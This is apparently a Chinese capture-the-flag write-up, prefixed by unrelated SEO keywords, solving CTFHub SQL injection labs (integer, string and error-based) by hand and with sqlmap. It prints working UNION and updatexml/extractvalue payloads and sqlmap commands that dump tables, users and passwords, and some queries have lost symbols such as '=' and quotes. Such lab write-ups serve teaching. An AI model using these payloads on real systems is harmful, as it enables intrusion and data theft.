自助式建网站,丰泰建设集团有限公司网站,百度推广登录网址,滨州哪里有做网站的目录 整数型注入
手工注入 为什么要将1设置为-1呢#xff1f; sqlmap注入
sqlmap注入步骤#xff1a;
字符型注入
手工注入 sqlmap注入 报错注入
手工注入 sqlmap注入 整数型注入
手工注入
先输入1 接着尝试2#xff0c;3#xff0c;2有回显#xff0c;而3没有回显…目录 整数型注入
手工注入 为什么要将1设置为-1呢 sqlmap注入
sqlmap注入步骤
字符型注入
手工注入 sqlmap注入 报错注入
手工注入 sqlmap注入 整数型注入
手工注入
先输入1 接着尝试232有回显而3没有回显 同样的输入非整数的字符也没有回显 根据结果可以判断这是整数型注入接着就可以爆字段了
1 order by 1接着尝试爆1 order by 2 1 order by 3结果到1 order by 3出现报错由此可以判断表格中有两个字段 爆数据库 -1 union select 1,database() 为什么要将1设置为-1呢
因为我们是要让服务器返回的是select 1database的数据 因为服务器没有-1 所以会返回select 1 的内容
爆破表名 limit 0101从数据库地一个开始只拿一个字段
-1 union select 1,(select table_name from information_schema.tables where table_schemasqli limit 0,1) 得到该数据库的所有字段 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schemasqli 爆破字段名
-1 union select 1,group_concat(flag) from sqli.flag sqlmap注入 sqlmap注入步骤 查询sqlmap是否存在注入命令sqlmap.py -u url/?id1 查询当前用户下的所有数据库sqlmap.py -u url/?id1 --dbs 获取数据库的表名sqlmap.py -u url/?id1 -D (数据库名) --tables 获取表中的字段名sqlmap.py -u url/?id1 -D (数据库名) -T (输入需要查询的表名) --columns 获取字段的内容sqlmap.py -u url/?id1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump 查询数据库的所有用户sqlmap.py -u url/?id1 --users 查询数据库的所有密码sqlmap.py -u url/?id1 --passwords 查询数据库名称sqlmap.py -u url/?id1 --current-db 在Kali Linux上运行sqlmap不需要后面的.py直接sqlmap就行了 查询sqlmap是否存在注入命令
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id1 发现id might be vulnerable 说明 存在注入执行完成发现爆出了很多信息
查询当前用户下的所有数据库
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id1 --dbs获取数据库的表名
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id1 -D sqli --tables获取表中的字段名
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --columns 获取字段的内容
sqlmap -u http://challenge-5454400515b8754e.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag -C flag --dump字符型注入
手工注入
先输入一个1 当输入1 and 11 得到的结果却有 那就输入1 发现报错没有回显接着输入1 and 11 发现后面有一个分号总体一看是多着一个分号那就用#将其注释掉 成功找到注入点但是sql语句后面要加#注释掉后面会报错的内容
爆数据库 -1 union select 1,database() #这里的-1和整数型注入的情况一样 爆表名 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schemasqli # 查询flag -1 union select 1,group_concat(flag) from sqli.flag # sqlmap注入 查询sqlmap是否存在注入命令
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id1 查询数据库
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id1 --dbs获取数据库的表名
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id1 --tables获取表中的字段名
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --columns获取字段的内容
sqlmap -u http://challenge-4c9cc826165e1d03.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag -C flag --dump报错注入
手工注入
先输入一个1 尝试输入1,出现报错 使用的函数是updatemxl(1,2,3)
MySQL提供了一个 updatexml() 函数当第二个参数包含特殊符号时会报错并将第二个参数的内容显示在报错信息中。
特殊符号我们选择 ~ 0x7e
爆数据库名
1 and updatexml(1,concat(0x7e,database()),3) 爆破表名
1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemasqli)),3) 获取字段名
1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schemasqliand table_nameflag)),3)获取字段内容
1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3) 但是没有将flag的所有字符输出出来所以现在运用函数将flag完整的输出出来
1 and updatexml(1,concat(0x7e,mid((select group_concat(flag)from sqli.flag),1,16)),3) 1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e)) sqlmap注入
查询sqlmap是否存在注入命令
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id1 爆数据库名
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id1 --dbs 获取数据库的表名
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id1 -D sqli --tables 获取表中的字段名
sqlmap -u http://challenge-1cc8f2ef630934ce.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --columns 获取字段的内容